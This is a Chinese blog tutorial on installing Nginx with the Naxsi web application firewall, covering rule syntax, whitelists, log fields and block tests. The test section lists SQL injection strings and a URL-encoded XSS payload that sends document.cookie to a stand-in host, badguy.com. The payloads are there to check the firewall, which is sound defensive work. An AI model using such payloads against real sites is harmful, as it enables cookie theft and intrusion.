码迷,mamicode.com
首页 > 其他好文 > 详细

Nginx +WAF使用总结

时间:2015-08-18 06:43:10      阅读:927      评论:0      收藏:0      [点我收藏+]

标签:nginx 、waf

   曾经研究过一段时间,并做了一下简单的总结,感觉还比较实用,放在有道云笔记里躺了很长时间,感觉有点浪费,拿出来分享一下,让新手少走弯路,高手请绕行。。。。

 

环境: linux平台,redhat系统;

一 Nginx 安装

1.所需组件

若已有这几个组件,可直接查看安装部分

1.1  gcc编译器

若没有gcc编译器, yum -y install gcc*  

这一步时间有点长

1.2  pcre-8.32

安装pcre过程

http://sourceforge.net/projects/pcre/files/pcre/8.32/pcre-8.32.tar.gz/download 

[root@localhostLNMP]# wget http://sourceforge.net/projects/pcre/files/pcre/8.32/pcre-8.32.tar.gz/download

[root@localhost LNMP]#tar -zxvf pcre-8.32.tar.gz

[root@localhost nginx-1.3.15]#cd pcre-8.32

[root@localhost pcre-8.32]]#./configure

[root@localhost pcre-8.32]#make && make install

1.3  zlib

安装zlib库组件过程:

[root@localhost LNMP]# yum -y install zlib-devel

Nginx+Naxsi安装

2.1  Nginx+Naxsi 下载

[root@localhost LNMP]# wget http://nginx.org/download/nginx-1.3.15.tar.gz

[root@localhost LNMP]# wgethttp://naxsi.googlecode.com/files/naxsi-core-0.50.tgz

2.2  安装

[root@localhost LNMP]# tar -zxvf nginx-1.3.15.tar.gz

[root@localhost LNMP]# tar -zxvf naxsi-core-0.50.tgz

[root@localhost LNMP]# cd nginx-1.3.15

[root@localhost nginx-1.3.15]# ./configure --add-module=../naxsi-core-0.50/naxsi_src

[root@localhost nginx-1.3.15]#make && make install

2.3  启动 Nginx

启动Nginx,并测试,如图所示:

/usr/local/nginx/sbin/nginx        #启动Nginx

/usr/local/nginx/sbin/nginx -t     #测试配置文件是否正常

Killall -9 nginx                    #杀死nginx进程

kill -HUP `cat /usr/local/www/nginx/logs/nginx.pid`   #以平滑方式重启Nginx

技术分享

如果在启动Nginx时,出现如下图所示的错误,

技术分享

那么可以按照下面的方法来解决:

32位系统 [root@localhost lib]# ln -s /usr/local/lib/libpcre.so.1 /lib

64位系统 [root@localhost lib]# ln -s /usr/local/lib/libpcre.so.1 /lib64

 

二 Naxsi配置(waf

1配置过程

这个具体配置分为两个过程:

一、修改Nginx.conf配置文件,配置与Naxsi(WAF)相关选项

二、将Nginx配置为反向代理,为后端Web服务器提供防护

2.详细配置

1.1  拷贝规则

 将Naxsi的核心配置规则库拷贝一份至Nginx文件所在目录,:

技术分享

1.2  修改Nginx.conf

接着修改Nginx.conf配置文件,在其中加入如下一行配置,让其包含Naxsi的核心规则库文件:

技术分享

1.3  定义CheckRule

然后定义一个虚拟主机的安全规则,可参考下面的内容:

LearningMode; #Enables learning mode

SecRulesEnabled;

#SecRulesDisabled;

DeniedUrl "/RequestDenied";

include "/tmp/naxsi_rules.tmp";

## check rules

CheckRule "$SQL >= 8" BLOCK;

CheckRule "$RFI >= 8" BLOCK;

CheckRule "$TRAVERSAL >= 4" BLOCK;

CheckRule "$EVADE >= 4" BLOCK;

CheckRule "$XSS >= 8" BLOCK;

将上面的内容保存在一个文件中,如test.rules,下面会用到。

1.4  定义阻断页面

自定义一个阻断页面,当WAF检测到攻击时,会将该页面返回给用户,可参考如下内容:

<html>

<head>

<title>Error 403 Request Denied</title>

</head>

<body>

<h2>Error 403 Request Denied</h2>

For some reasons, your request has been denied.

</body>

</html>

注:这一步也可采用默认40x页面,但为了区分最好自己定义一个,定义位置一般在

/usr/local/nginx/html/ 即nginx安装目录下的html文件下面。

1.5  配置反向代理

新建一个虚拟主机的配置文件,具体配置如下图所示:

server{

         listen 80;

         server_name 10.19.150.37;

         access_log logs/host.access.log ;

location / {

    include /usr/local/nginx/conf/test.rules;

   include /usr/local/nginx/conf/naxsi_BasicRule.conf; #白名单

 root html;

}

       location /RequestDenied{

                 return 403;

          }

         error_page 403  /403.html;

          location = /403.html{

             root /usr/local/nginx/html;

             internal;

}

}

}

最后,再次修改Nginx.conf,使其包含刚定义的虚拟主机配置文件即可,如下:

 #include /usr/local/nginx/conf/test.conf

重启Nginx服务后配置生效。

注:Nginx.conf文件中中必须要include naxsi_core.rules  和 配置的虚拟机 test.conf文件。而test.conf中要include 规则,如 test.rule判定规则,Wl.rules白名单。

3.Rule详解

  Naxsi整个规则集由三类规则构成,分别是:

 (1) MainRule:主配置规则,即naxsi自带的规则,Naxsi-core.rules

(2)CheckRule-结果裁定规则),在下面的配置中为test.rules

(3)BasicRule-本地配置规则,也就是白名单。

下面来分别介绍这三种规则的内容。

1.1 MainRule

   规则集部分配置文件:包含naxsi要检测攻击特征的规则,基本规则的格式如下:

   [@beike_41_134 workspace]# vi /etc/nginx/naxsi_core.rules 【naxsi的规则配置文件路径】

MainRule"str:|""msg:mysqlkeyword(|)""mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1005;

   规则说明:

   str:| : 规则要检测的字符“|”

   msg:mysql keyword (|) : 规则的标签信息。

   mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie : 规则要检查的协议字段,Body还是Url等。

   s:$SQL:8 : 如果匹配上该条规则则设置变量SQL的值为8,当该变量超过引擎配置中设置的阈值时naxsi就采取劢作。

   id:1005 : 规则的id号,根据该id号可以识别日志中产生的信息是由哪一条规则触发的。

其中要检查的协议字段内容分别为:

ARGS

GET args

HEADERS

HTTP Headers

BODY

POST args

URL

The URL (before ‘?‘)

FILE_EXT

Filename (in a multipart POST containing a file)

 

1.2 CheckRule

 1 #learningMode;

   2 SecRulesEnabled;

   3 #SecRulesDisabled;

   4 DeniedUrl "/RequestDenied";

   5 #include "/tmp/naxsi_rules.tmp";

   7 ## check rules

   8 CheckRule "$SQL >= 8" BLOCK;

   9 CheckRule "$RFI >= 8" BLOCK;

   10 CheckRule "$TRAVERSAL >= 4" BLOCK;

   11 CheckRule "$EVADE >= 4" BLOCK;

   12 CheckRule "$XSS >= 8" BLOCK;

   备注:

   第1行:开启自学习模式。目前为关闭状态,需要相关内置的配置脚本参不手动执行才能完成;

   第2行:开启该模块的检测功能;

   第3行:关闭该模块的检测功能;

   第4行:拒绝请求时的应答内容位置-/RequestDenied目录下的默认文件;

   第5行:设置自学习生成的规则文件;

   第8-12行:相关内置变量的阈值设置,即达到该阈值即阻断请求(BLOCK)。naxsi根据核心规则集检测数据包,发现匹配上规则就增加相关特征变量的值,达到阈值即认为是攻击,最后采取动作。

1.3 BasicRule

 测试使用范例
       BasicRule wl:0 "mz:$ARGS_VAR:script";
       BasicRule wl:0 "mz:$ARGS_VAR:id";
      表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;

注:在这里我已经从另外一个开源项目中移植了一个python程序过来,可以生成白名单,输入如下指令,前提是机器要包含这几个文件,nx_util.py、nx_util.conf、nx_lib文件、nx_data文件,如图所示    

技术分享

技术分享

执行该命令可得带白名单,注意:这里的error.log路径一定要正确,得到白名单如下图所示。

python nx_util.py -l /usr/local/nginx/logs/error.log -o -c ./nx_util.conf >> whitelist.log

技术分享

4 Naxsi log解析

 Eg2013/11/10 07:36:19 [error] 8278#0: *5932 NAXSI_FMT: ip=X.X.X.X&server=Y.Y.Y.Y&uri=/phpMyAdmin-2.8.2/scripts/setup.php&learning=0&vers=0.52&total_processed=472&total_blocked=204&block=0&cscore0=$UWA&score0=8&zone0=HEADERS&id0=42000227&var_name0=user-agent, client: X.X.X.X, server: blog.memze.ro, request: "GET /phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1", host: "X.X.X.X"

ip

Client‘s ip

server

Requested Hostname (as seen in http header "Host")

uri

Requested URI (without arguments, stops at ‘?‘)

learning

tells if naxsi was in learning mode (0/1)

vers

Naxsi version. Only appears in naxsi >= 0.51

total_processed

Total number of reques ts processed by nginx‘s worker

total_blocked

Total number of requests blocked by (naxsi) nginx‘s worker

zoneN

Zone in which match happened (see "Zones" in the table below)

idN

The rule id that matched

var_name

(optional) Variable name in which match happened

 

三 测试  

 1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
  2、测试链接:
 http://10.19.150.37/xss/                        通过

技术分享


 http://10.19.150.37/xss/?id=40/**/and/**/1=1    通过,因为配置到白名单

技术分享

http://10.19.150.37/xss/?name=40/**/and/**/1=1  不通过,含有条件注入

技术分享http://10.19.150.37/xss/?name=%28%29   不通过,特殊字符

技术分享                                                                             http://10.19.150.37/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E     不通过,参数内容含脚本注入

技术分享                    http://10.19.150.37/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22 不通过

        技术分享                            

   
 

 


本文出自 “一起学习” 博客,请务必保留此出处http://zuiaidaqin.blog.51cto.com/10588734/1685391

Nginx +WAF使用总结

标签:nginx 、waf

原文地址:http://zuiaidaqin.blog.51cto.com/10588734/1685391

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!